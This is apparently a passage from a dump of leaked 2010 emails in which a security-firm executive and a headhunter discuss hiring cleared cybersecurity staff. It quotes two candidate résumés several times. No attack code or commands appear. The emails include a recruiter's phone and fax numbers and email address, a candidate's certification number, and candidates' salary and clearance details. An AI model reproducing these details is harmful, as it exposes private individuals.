person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',11964,'aaron_hbgary_com/11964.html'),(10607,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008209.M997463P14101Q5462.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Either of these candidates meet muster for you?','I have contacted a head hunter who is helping me. &nbsp;The first one looks strong, I know he says large company but I might be able to talk him out of that. &nbsp;Second one is weak for a lead position but might fit somewhere else.Aaron1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for time critical intelligence data, and drafted tactical messages for Atlantic Fleet forces.&nbsp;Naval Recruiter Canvasser, Naval Recruiting District Philadelphia, U.S. Navy, 2000-2001Identified qualified civilians for enlistment into the United States Navy, through various recruiting techniques.Prospected candidates, conducted interviews, completed enlistment records and counseled rejected applicants.Identified target market populations through analyzing recruiting results, and formulated plans for improving the marketing and recruiting process.Managed the delayed entry program, resulting in a significant decrease in recruit attrition levels, and contributed to the recruiting district making goal for the year.Counseled new recruits on their transition into the Navy, and prepared them for recruit training.Conducted basic background investigations on qualified applicants, based on police records and references listed on application, and National Security background information.&nbsp;Anti-Submarine Warfare Systems Operator, Acoustic Intelligence Analyst, USS George Washington, U.S. Navy, 1997-2000Supported operation of the anti-submarine warfare module through utilization of tactical display, acoustic intelligence, and electronic warfare, environmental and associated equipment.Formatted Maritime messages, acoustic intelligence (MASINT) data submission, and tactical mission briefing, debriefing, and reconstruction in support of carrier airborne operations.Provided safety and security for over 5,000 personnel onboard, as a member of the shipboard police force.Participated in over 50 military flights as a Naval Air Crewman, in support of Anti-Submarine warfare missions.Managed the Respiratory safety program and database for over 2,500 personnel while in the Norfolk Naval Shipyard.Participated in a myriad of physical security and law enforcement duties, for 10 months, while attached to the ships Master at Arms police force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.',10454,'aaron_hbgary_com/10454.html'),(10608,'2010-08-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008210.M338495P14101Q5463.eml','\"Ed Wallach\" <ed@wallachsearch.com>','Re: Cyber Recruits!','I like the first guy. &nbsp;I have a decent shot at talking him out of a big company. &nbsp;Let me look through the rest but I think I am going to want to talk to him if hes not already taken.AaronOn Aug 18, 2010, at 1:56 PM, Ed Wallach wrote:Hi Aaron,Here\'s my fee agreement for your review and signature. No fees are due until someone reports for work! Then I split the payment in 2. one when they start, the other 30 days later.here\'s the info on both...am getting more resumes together tp send you for review....edCandidate 1 only has a CI poly. He will commute for the right opportunity. he\'s getting out of the navy and wants more challenging work. (Yes I am currently enlisted in the US Navy on active duty since 2000. &nbsp;My separation date is November 4, 2010. &nbsp;I intend to use my current balance of leave to take October off. &nbsp;This allows me to begin full time employment a month early. &nbsp;Let me know if you have any other questions. &nbsp;Thank you.) He\'s making hi 70\'s in the navy but has a few contingent offers in the 130K range... I have him interviewing with SI Government solutions, a raytheon co. this week...candidate 2 in his own words:&nbsp;&nbsp;I am interested in moving into the area of forensics and network analysis.&nbsp; This position looks as though it requires more technical and engineering experience than I currently have.&nbsp; I am interested in moving into a intrusion detection and incident response position.&nbsp; I perform vulnerability assessment and worked in security documentation prior to that.&nbsp; I just received my CISSP in May and am very interested in moving into more of a analysis and investigative position.&nbsp; Does your company have any positions in that area of InfoSec? &nbsp;he would certainly entertain the idea of relocating, but only temporarily. That would not be his first choice though, He owns a house in Baltimore County and would like to stay in the Ft. Meade area or in&nbsp;the&nbsp;Baltimore/Washington area. He has received a contingent from another company&nbsp;for 125K, 6 weeks PTO and 10 Federal holidays, but he is waiting to hear more on the offer. So he is looking to&nbsp;make 125K, based on his current&nbsp;compensation package and the contingent.&nbsp;On Aug 18, 2010, at 12:52 PM, Aaron Barr wrote:ok so the second resume fits the clearance bill, experience is a bit junior but might work, let me as the prime some questions. &nbsp;What type of salary is person looking for?The first resume has the right skills but for MD not the right clearances. &nbsp;Is he willing to commute at all? &nbsp;I could probably place him on ESOC. &nbsp;Salary might be bit high though have to check.AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group 